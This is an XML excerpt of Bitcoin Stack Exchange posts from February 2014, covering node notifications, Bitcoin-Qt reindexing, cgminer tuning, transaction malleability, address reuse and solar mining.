  <row Id="22197" PostTypeId="2" ParentId="22194" CreationDate="2014-02-15T00:22:49.173" Score="4" Body="&lt;p&gt;Blockchain.info uses a special system that doesn't involve Python (as far as we know), they're most likely using a modifed node that notifies them of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The easy way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use Blockchain.info's transaction notification service. Their &lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;websockets&lt;/a&gt; api lets anyone subscribe to any bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The hard way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to listen to all latest transactions, and not to addresses you own, you're going to need more in depth control. Otherwise use Bitcoind and its &lt;code&gt;walletnotify&lt;/code&gt; parameter. Check out &lt;a href=&quot;https://github.com/jgarzik/pynode&quot; rel=&quot;nofollow&quot;&gt;PyNode&lt;/a&gt;, a Bitcoin node implementation in Python.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-15T00:22:49.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22198" PostTypeId="2" ParentId="22167" CreationDate="2014-02-15T00:32:51.627" Score="0" Body="&lt;p&gt;Note: I assume the linked address is your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gray &lt;code&gt;10 BTC&lt;/code&gt; shows the total amount that was sent to the recipient address: The &lt;a href=&quot;https://blockchain.info/de/tx/61afc1a8fd5ed1386fc463427c259cade18a0b211fb513876c433df751b818f9&quot; rel=&quot;nofollow&quot;&gt;second, newer transaction&lt;/a&gt; associated with your address collected a total of 10 BTC from a number of different addresses in one transaction to the &lt;a href=&quot;https://blockchain.info/de/address/13YC2JhGe18DrbEf7te2pPMHMRNebQvCc5&quot; rel=&quot;nofollow&quot;&gt;receiving address&lt;/a&gt;, including the 0.3645 BTC from your address shown in the red box.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-15T00:32:51.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22199" PostTypeId="1" CreationDate="2014-02-15T00:46:03.347" Score="11" ViewCount="10063" Body="&lt;p&gt;I spent a ton of time today trying to get Bitcoin-Qt to sync using the bootstrap.dat file and could not get it to work.  I found an answer on this forum saying to use:&#xA;&lt;code&gt;/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt -rescan -reindex&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which seems to have worked perfectly.  Now I'm just wondering what exactly that command did to fix the problem?&lt;/p&gt;&#xA;" OwnerUserId="13485" LastEditorUserId="5406" LastEditDate="2016-08-19T08:05:13.310" LastActivityDate="2016-08-19T08:05:13.310" Title="What exactly did `Bitcoin-Qt -rescan -reindex` do?" Tags="|bitcoin-core|bootstrap.dat|rescan|reindex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22200" PostTypeId="2" ParentId="22194" CreationDate="2014-02-15T01:08:49.043" Score="3" Body="&lt;p&gt;You could write python code that polls an instance of bitcoin-qt/bitcoind, the reference client. Here are the RPC calls, available via HTTP requests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;getrawmempool&lt;/code&gt; can could be polled to return unconfirmed transactions that have been locally seen. (I believe &lt;code&gt;-walletnotify&lt;/code&gt; will only notify about wallet-relevant transactions, but tailing the debug log could be another way to learn of new unconfirmed transactions.) By using the &lt;code&gt;-blocknotify&lt;/code&gt; command-line option, your external scripts can receive notification when new blocks are discovered, which might also include transactions that were never in the local unconfirmed pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to run with the &lt;code&gt;-txindex&lt;/code&gt; option, so that you could pull all new transaction details out of the local blockchain, rather than just those from your wallet. &lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2014-02-15T20:51:53.320" LastActivityDate="2014-02-15T20:51:53.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22201" PostTypeId="2" ParentId="22166" CreationDate="2014-02-15T01:26:29.257" Score="3" Body="&lt;p&gt;You would need an institution that guarantees 1:1 the interchange. The reliability of that institution, in always being able to perform the exchange, would determine the trust and value-stability in the cryptocurrency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The US Treasury could credibly create a coin that's 1:1 with the US Dollar. Or, hypothetically, another institution that was widely believed to be richer (in USD) and more stable than the US Treasury. &lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-02-15T01:26:29.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22202" PostTypeId="2" ParentId="22192" CreationDate="2014-02-15T01:32:17.650" Score="0" Body="&lt;p&gt;Absolutely not pointless. So any answer should be read as &quot;No, however...&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are making a decision about other people's privacy which may cause them to decide to not donate. Or they may get into trouble if they do donate, depending on whether your site is wikileaks and what their government thinks about that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that's worst case stuff and in practice it probably won't be such an issue and it's simply so much more convenient to not have to create dynamic new addresses for every visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully stealth addresses will soon give us the best of both: a static qr code on your website yet still random new addresses for every donation.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-02-15T01:32:17.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22203" PostTypeId="2" ParentId="17738" CreationDate="2014-02-15T02:27:19.333" Score="0" Body="&lt;p&gt;My setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--scrypt -I 19 -g 1 --lookup-gap 2 --thread-concurrency 6720 -w 64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer version 3.7.2 - Started: [2014-02-14 21:28:07]&#xA;--------------------------------------------------------------------------------&#xA; (5s):314.1K (avg):301.2Kh/s | A:79264  R:1440  HW:0  WU:270.0/m&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Ubuntu minimal install and it is not being used for Desktop. This is the best I could squeeze out so far.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2014-02-15T02:27:19.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22204" PostTypeId="1" AcceptedAnswerId="22205" CreationDate="2014-02-15T02:48:59.807" Score="1" ViewCount="132" Body="&lt;p&gt;I just read the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;malleability page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone confirm that this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While transactions are signed, the signature does not currently cover all the data in a transaction that is hashed to create the transaction hash. Thus while uncommon it is possible for a node on the network to change a transaction you send in such a way that the hash is invalidated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;means that the protocol actually doesn't assign signature data to addresses in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me that's not true.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-02-15T03:04:47.297" LastActivityDate="2014-02-15T03:37:24.490" Title="Does the Bitcoin client not record original signature data per connection?" Tags="|client|protocol|future-proof|transaction-malleability|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22205" PostTypeId="2" ParentId="22204" CreationDate="2014-02-15T03:37:24.490" Score="2" Body="&lt;p&gt;The signature covers everything except the signature itself.  Since the signature and public key make up the input script for the most common payment type (pay-to-pubkey-hash), the input script is not part of the signed data.  This means the input script can be modified and not break the signed transaction as long as the new input script is equivalent to the original input script.  The recent attack did this by changing one of the script opcodes to an equivalent opcode.  So the new script was valid and performed the same function.  But since the opcode was changed, the transaction hash was different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a transaction is part of a block, the transaction hash cannot be changed since it is now included in the Merkle tree for the block.  So the attack window is only from the time the transaction is created until a miner includes it in a block.  During this window, a modified transaction can be broadcast and it is a race to see which one makes it into the block.  The one that loses will never be confirmed since it spends inputs that are already spent.  No matter which one wins, the coins are sent to the proper destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem for Mt Gox (and others) is they track a transaction based on its transaction ID.  If the modified transaction wins and gets included in a block, the original transaction will be discarded.  This then led Mt Gox to think the money was not paid (since the transaction ID was not in the block chain) and they would create a new transaction to pay the money again.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-15T03:37:24.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22206" PostTypeId="2" ParentId="22011" CreationDate="2014-02-15T06:17:14.553" Score="3" Body="&lt;p&gt;I am glad to say I found a solution. It is quite trivial:&#xA;&lt;br&gt; The main PC, the main node, should be listening for others, therefore you need to add a command:&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listen=1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;In addition, I would suggest you to add following commands as well, but for all nodes:&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;testnet_config=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck everyone. &lt;/p&gt;&#xA;" OwnerUserId="13358" LastActivityDate="2014-02-15T06:17:14.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22207" PostTypeId="2" ParentId="17738" CreationDate="2014-02-15T06:25:41.097" Score="1" Body="&lt;p&gt;Optimum hash rate depends not just on the parameters sent to cgminer but also on how was this program compiled, if it's 32bits/64bits, and the OS configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best results I've seen are with Gentoo Linux - as you may know, with this distro you first stablish your specific hardware configuration and then compile everything from code, thus optimizing all our software for the hardware you have to extract the most value off of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something you do can do without going the esoteric route of OS tweaking, you could try modifying the GPU's mem clock as well as (slightly) overclocking. Usually, once you hit the point of diminishing returns with the intensity, thread-concurrency and work unit those are the next values to tweak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't read the &quot;README&quot; file from Con Kolivas himself, when discussing Litecoin he delineates an optimizing algorithm in which you first find a sweat spot with intensity, then with another value, then another... finally going to mem clock and overclocking, he says you'll extract the best performance that way - such approach is valid for all scrypt-based coins.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-15T06:25:41.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22208" PostTypeId="2" ParentId="22166" CreationDate="2014-02-15T06:37:20.123" Score="4" Body="&lt;p&gt;A fixed value, relative to what? To a fiat currency? In which case, should it be US dollars, euros, yens, yuans...? Relative to a commodity such as oil or gasoline of some quality? Relative to gold, silver, platinum, diamonds? A basket of all the above? All of these have very variable values and both the reasons of their intrinsic volatility and the possible remedies for that are far above your capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a crypto-coin with a &quot;stable&quot; value relative to whatever you want to track it to (for tracking it absolutely to yield a fixed value is impossible, unless you control the other stuff) depends not on the crypto-coin's algorithms per-se but in the &lt;em&gt;market&lt;/em&gt; - you'd be forced to create an exchange of last resort and be willing to spend a lot of money fighting people who'd try to move the price way too up or too down on purpose to cash a quick buck after the distortion, or simply are trying to attack your coin to destroy it or harm you. You'd need &lt;strong&gt;very&lt;/strong&gt; deep pockets, much technical expertise and a lot of luck.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-15T06:37:20.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22210" PostTypeId="2" ParentId="19261" CreationDate="2014-02-15T08:42:12.243" Score="1" Body="&lt;p&gt;Short answer: You don't have to create or set that variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: &#xA;When a user clicks the &quot;Connect with Coinbase&quot; link in that example, they will be sent to Coinbase to authorize your app. After that, Coinbase will send the backto your website (at your callback/redirect URL), and that URL will look something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://yourwebsite.com/somefile.php?code=e6eb77a55ba5e6c754fb4ea3c1d53ef73b643c6fd443482ce4ed9e5ef407fc3e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That really long code in the URL is automatically saved as $_GET['code'] by PHP and can be used by the callback page. &lt;/p&gt;&#xA;" OwnerUserId="13494" LastActivityDate="2014-02-15T08:42:12.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22211" PostTypeId="2" ParentId="22192" CreationDate="2014-02-15T09:10:02.447" Score="0" Body="&lt;p&gt;When using the same address, you obviously allow everyone to check your balance.&#xA;&lt;br&gt;&#xA;After checking your balance, the user may think: &quot;wow, he got so much money from donations, it should be enough for him&quot; and he won't pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's also possible: &quot;So many person donated him, I also must do it!&quot;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2014-02-15T09:10:02.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22212" PostTypeId="1" CreationDate="2014-02-15T11:33:14.723" Score="1" ViewCount="124" Body="&lt;p&gt;Bug report&#xA;  Operating System: Windows 7&#xA;  MultiBit Version: 0.5.15&#xA;  Steps to replicate the problem: send BTC to specific adress&#xA;Hello I have a problem with sending BTC, what happened to me was, that when I sent BTC to my btc-e account (I used the adress they gave me for deposits), I checked everything (the amount of BTC I wanted to send and the adress) and I hit send. Problem was, that it never arrived on the adress I wanted it to and I never got my account funded. I started dealing with btc-e support, but it had not gotten me anywhere so far. But while taking screenshots as proofs I came across my transaction history.&#xA;&lt;img src=&quot;https://f.cloud.github.com/assets/6689473/2177704/4e3983b4-9633-11e3-8db7-a59bc8ae0a78.png&quot; alt=&quot;wallet&quot;&gt;&#xA;As you can see I only used this wallet to fund my btc-e account so I sent BTC to only one adress, which is always the same (1cU8kgoVBGMxafj9ynwYjNJJH3L3PsSw7) but in those two other transactions its sent to &quot;1cU8kgoVBGMxafj9ynwYjNJJH3L3PsSw7&quot; (146rSpmvzyvZ4BYWCCt9fnMRLfL527CKcW) and I dont really know what that means. Except for that this adress (1cU8kgoVBGMxafj9ynwYjNJJH3L3PsSw7) never got the BTC i sent, I looked into my btc-e history and I realized that I never even got the first transaction which had this(&quot;1cU8kgoVBGMxafj9ynwYjNJJH3L3PsSw7&quot; (146rSpmvzyvZ4BYWCCt9fnMRLfL527CKcW)) as sent to. How can I get my BTC back? I didnt do any mistake and I dont know how is this possible. &#xA;With regards Poloch&lt;/p&gt;&#xA;" OwnerUserId="13499" LastActivityDate="2014-02-15T15:04:01.647" Title="MultiBit sends BTC to different adress then I wanted" Tags="|address|multibit|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22214" PostTypeId="1" AcceptedAnswerId="22222" CreationDate="2014-02-15T12:09:50.143" Score="1" ViewCount="14821" Body="&lt;p&gt;I have a peculiar question concerning about bitcoin mining, for example, in Brazil it is unfeasible due to the high cost of electric power. Is it possible to do mining by using solar energy?&#xA;Does someone know how much energy is necessary to setup a basic unit of bitcoin mining? &#xA;It sounds interesting for me, since solar energy is cheap! Of course you will have the investment with batteries, solar panels, cables, etc..  but I think it still possible..  any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDITED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a basic project about mining bitcoin using solar energy.&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="5406" LastEditDate="2016-04-25T20:26:31.400" LastActivityDate="2016-04-25T20:26:31.400" Title="Bitcoin mining by using solar energy. Is it possible?" Tags="|mining-hardware|mining-setup|energy-consumption|" AnswerCount="3" CommentCount="7" ClosedDate="2014-02-19T22:43:37.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="22216" PostTypeId="1" CreationDate="2014-02-15T13:44:26.327" Score="2" ViewCount="230" Body="&lt;p&gt;calling &lt;code&gt;getaccountaddress&lt;/code&gt; method on an address associated with the default account return &quot;&quot; the name of the default account. The problem is calling &lt;code&gt;getaccountaddress&lt;/code&gt; on foreign address that doesn't exist in the local wallet will return &quot;&quot; !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't this method in the last case return an error or something ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think the solution here is to call &lt;code&gt;validateaddress&lt;/code&gt; method to check this address &lt;code&gt;ismine&lt;/code&gt; or not.&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2015-02-11T03:23:55.923" Title="calling getaccount rpc method on foreign address" Tags="|json-rpc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22217" PostTypeId="1" CreationDate="2014-02-15T14:44:43.353" Score="1" ViewCount="509" Body="&lt;p&gt;I have 2 x Sapphire 7950 Boost cards running on Windows. I can only get them running stable on intensity 16 using CGMiner. Anything above that and the whole system freezes up (screen stays on but everything else is unresponsive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I had them on linux running BAMT, and I could get them running fine on intensity 18/19 for longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm positive the cards should be able to handle greater than intensity 16, and I have two more PC's with just a single card in running around 600 KH/s, so I know they can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing the system to freeze?  Is it the cards or could it be drivers etc?  Theyr'e only clocked at 1000/1250, with 24768 for thread-concurrency. Nothing over the top, and settings which are fine on the two single card PC's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;kernel&quot;            : &quot;scrypt&quot;,&#xA;&quot;scrypt&quot;            : true,&#xA;&quot;no-submit-stale&quot;   : true,&#xA;&quot;temp-cutoff&quot;       : &quot;85,85&quot;,&#xA;&quot;temp-overheat&quot;     : &quot;80,80&quot;,&#xA;&quot;temp-target&quot;       : &quot;70,70&quot;,&#xA;&quot;auto-fan&quot;          : true,&#xA;&#xA;&quot;api-listen&quot;        : true,&#xA;&quot;api-port&quot;          : &quot;4028,4028&quot;,&#xA;&#xA;&quot;intensity&quot;         : &quot;16,16&quot;,&#xA;&quot;vectors&quot;           : &quot;1,1&quot;,&#xA;&quot;worksize&quot;          : &quot;256,256&quot;,&#xA;&#xA;&quot;lookup-gap&quot;        : &quot;2,2&quot;,&#xA;&quot;thread-concurrency&quot;: &quot;24768,24768&quot;,&#xA;&quot;gpu-engine&quot;        : &quot;1000,1000&quot;,&#xA;&quot;gpu-fan&quot;           : &quot;0-90,0-90&quot;,&#xA;&quot;gpu-memclock&quot;      : &quot;1250,1250&quot;,&#xA;&quot;gpu-memdiff&quot;       : &quot;0,0&quot;,&#xA;&quot;gpu-powertune&quot;     : &quot;0,0&quot;,&#xA;&quot;gpu-vddc&quot;          : &quot;0.000,0.000&quot;,&#xA;&#xA;&quot;expiry&quot;            : &quot;30&quot;,&#xA;&quot;gpu-dyninterval&quot;   : &quot;7&quot;,&#xA;&quot;gpu-thread&quot;        : &quot;1&quot;,&#xA;&quot;sharethreads&quot;      : &quot;32&quot;,&#xA;&quot;log&quot;               : &quot;5&quot;,&#xA;&quot;queue&quot;             : &quot;1&quot;,&#xA;&quot;retry-pause&quot;       : &quot;5&quot;,&#xA;&quot;scan-time&quot;         : &quot;30&quot;,&#xA;&quot;temp-hysteresis&quot;   : &quot;3&quot;,&#xA;&quot;shares&quot;            : &quot;0&quot;,&#xA;&#xA;&quot;kernel-path&quot; : &quot;/usr/local/bin&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12757" LastEditorUserId="12757" LastEditDate="2014-02-15T14:51:11.567" LastActivityDate="2015-03-16T18:40:42.120" Title="CGMiner freezing on anything above intensity 16" Tags="|cgminer|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22218" PostTypeId="2" ParentId="21225" CreationDate="2014-02-15T14:48:41.917" Score="2" Body="&lt;p&gt;The coinbase field can be used to distinguish coinbase transactions from one another on the level of hashes.  If two coinbase transactions pay to the same address and use the same data in their coinbase fields, these transactions will have the same hash.  This would introduce ambiguity into the blockchain, since the same transaction hash and offset would refer to two distinct transaction outputs.&lt;/p&gt;&#xA;" OwnerUserId="13502" LastActivityDate="2014-02-15T14:48:41.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22219" PostTypeId="1" CreationDate="2014-02-15T15:01:25.713" Score="5" ViewCount="8629" Body="&lt;p&gt;I'm looking for a simple API description to get some basic stats from the huobi.com exchange. Mainly the last trading price, and current orderbook (bids &amp;amp; asks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They seem to have an API: &lt;a href=&quot;http://www.huobi.com/help/index.php?a=api_help&quot; rel=&quot;noreferrer&quot;&gt;http://www.huobi.com/help/index.php?a=api_help&lt;/a&gt; but this page doesn't help me much (even after translating it with Google, as I can't read Chinese).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to use this API?&lt;/p&gt;&#xA;" OwnerUserId="13505" LastActivityDate="2021-11-09T04:13:20.423" Title="huobi.com API to get latest trade price, bids and asks?" Tags="|api|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22220" PostTypeId="2" ParentId="22212" CreationDate="2014-02-15T15:04:01.647" Score="1" Body="&lt;p&gt;I think you might have put a bitcoin address in the label field in the send screen that is different to the actual address. This would explain the screen shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it is the bitcoin address that is used to send to regardless of the label.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-02-15T15:04:01.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22222" PostTypeId="2" ParentId="22214" CreationDate="2014-02-15T16:02:51.673" Score="3" Body="&lt;p&gt;It largely depends on what machine you want to power with those solar panels. You're definitely going nowhere with GPU based mining. As PCs consume a huge lot of energy, and those who don't, are equipped with Atom and Intel graphics, meaning mining won't get you far with that equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it may be possible to run a USB ASIC miner based on a Raspberry Pi. I think those kind of machines consume very little energy. However, you may also need an Internet connection, but I'm assuming you already have a router you can connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, I'd buy one Raspberry Pi for each USB ASIC stick you want to buy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial cost may be a bit hefty, though, and I'm not sure the performance would be that great, because there's just so much hashing power already in the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you're better off mining Litecoin, Dogecoin or Feathercoin anyways. But well, there's no USB ASIC miner for scrypt cryptocurrencies, so you're out of luck for those alts.&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2014-02-15T16:02:51.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22223" PostTypeId="1" AcceptedAnswerId="22230" CreationDate="2014-02-15T16:27:27.957" Score="1" ViewCount="526" Body="&lt;p&gt;suppose for the sake of argument that each individual miner has the same amount of hashing power of one hash per unit of time (a &quot;tick&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the probability that a miner solves their block in the next tick increases with the number of hashes already checked, since the nonce space is finite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;colluding miners could agree to pay the coinbase transaction to the same address and thus work on solving exactly the same block.  they could divide the nonce space amongst them and thus exhaust the nonce space faster than solo miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by agreeing to redistribute the rewards of their mining amongst them, the colluding miners have an expected payout for the next tick that increases faster than that of solo miners, since they are exhausting their nonce space faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so isn't it rational for miners to collude?  could this create a tendency to monopoly in mining?&lt;/p&gt;&#xA;" OwnerUserId="13502" LastEditorUserId="5406" LastEditDate="2016-03-10T09:58:15.317" LastActivityDate="2016-03-10T09:58:15.317" Title="isn't miner collusion rational?" Tags="|mining-pools|mining-profitability|mining-technical-details|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22224" PostTypeId="2" ParentId="22199" CreationDate="2014-02-15T16:38:13.460" Score="21" Body="&lt;p&gt;&lt;code&gt;-rescan&lt;/code&gt; likely did nothing at all. It goes through the blockchain to find transactions that are missing from your wallet. It is only very rarely needed (like when you manually changed things in wallet.dat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-reindex&lt;/code&gt; throws away the block chain index and chain state (the database of all unspent transaction outputs), and rebuilds those from scratch. It is exactly like downloading the block chain again from peers, except the blocks already on disk are used.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-10-11T17:26:34.580" LastActivityDate="2015-10-11T17:26:34.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22226" PostTypeId="2" ParentId="22223" CreationDate="2014-02-15T16:46:01.010" Score="0" Body="&lt;p&gt;Most of your question described a mining pool, and the motivation to form one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed it is rational to collude, and we have seen that as one of the earliest developments in the Bitcoin network. Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/127/5406&quot;&gt;What is a Mining Pool, what is it good for?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, why don't we see only one mining pool? It's simple: Because it would be bad for the network! If one party controls too much of the network, i.e. 51% of the hashing power, they can control which transactions make it into the blockchain and get 100% of the mining rewards. This would quickly erode the trust in the network, and devalue bitcoins. For more information please refer to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/658/5406&quot;&gt;What can an attacker with 51% of hash power do?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore miners, as people who are heavily invested in Bitcoin, are interested in keeping the mining power distributed. For example the mining pool &lt;a href=&quot;http://siliconangle.com/blog/2014/01/09/ghash-io-mining-pool-getting-too-big-bitcoin-community-calls-for-diversification-before-it-reaches-51/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GHash.IO has sent miners away when they were above 35% of the networks hashing power.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-02-15T16:51:17.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22227" PostTypeId="1" AcceptedAnswerId="22236" CreationDate="2014-02-15T17:14:21.717" Score="3" ViewCount="205" Body="&lt;p&gt;I have a local Bitcoin-QT wallet. Can transaction malleability be used to steal my horde of tens of thousands of Satoshis?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-03-08T17:47:27.087" Title="is transaction malleability a threat to my local wallet?" Tags="|bitcoin-core|security|transaction-malleability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22228" PostTypeId="1" CreationDate="2014-02-15T17:20:15.240" Score="1" ViewCount="435" Body="&lt;p&gt;I have read that Electrum never is given your private keys (which makes sense), but I'm still unsure what sacrifices it makes in order to not require you to not store the entire ~14GB blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is the gist of it &quot;you make transactions on your own using your information, but we watch the blockchain and tell you anything relevant that happens&quot;?  Am I understanding this at all correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, who is &quot;we&quot; in that?  And can't whoever I am trusting lie to me about how many bitcoins I have?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2014-02-15T19:09:11.817" Title="What trust am I placing where when I use Electrum?" Tags="|blockchain|security|electrum|trust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22229" PostTypeId="2" ParentId="22214" CreationDate="2014-02-15T17:27:54.227" Score="1" Body="&lt;p&gt;Of course it's theoretically simple to convert solar to electricity and use electricity to mine alt-coins.  But it's a business+engineering problem to determine if it's a money making proposition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a hot climate the cooling costs might offset the abundance of solar power (I don't know this, just throwing out things to consider).  Understand at this point some very smart engineers and entrepreneurs are engaged in an arms race to economically mine alt-coins, like &lt;a href=&quot;http://dealbook.nytimes.com/2013/12/21/into-the-bitcoin-mines/&quot; rel=&quot;nofollow&quot;&gt;this operation in Iceland&lt;/a&gt;. I'd do some serious research into potential competition before investing in your own mining operation.&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-02-15T17:27:54.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
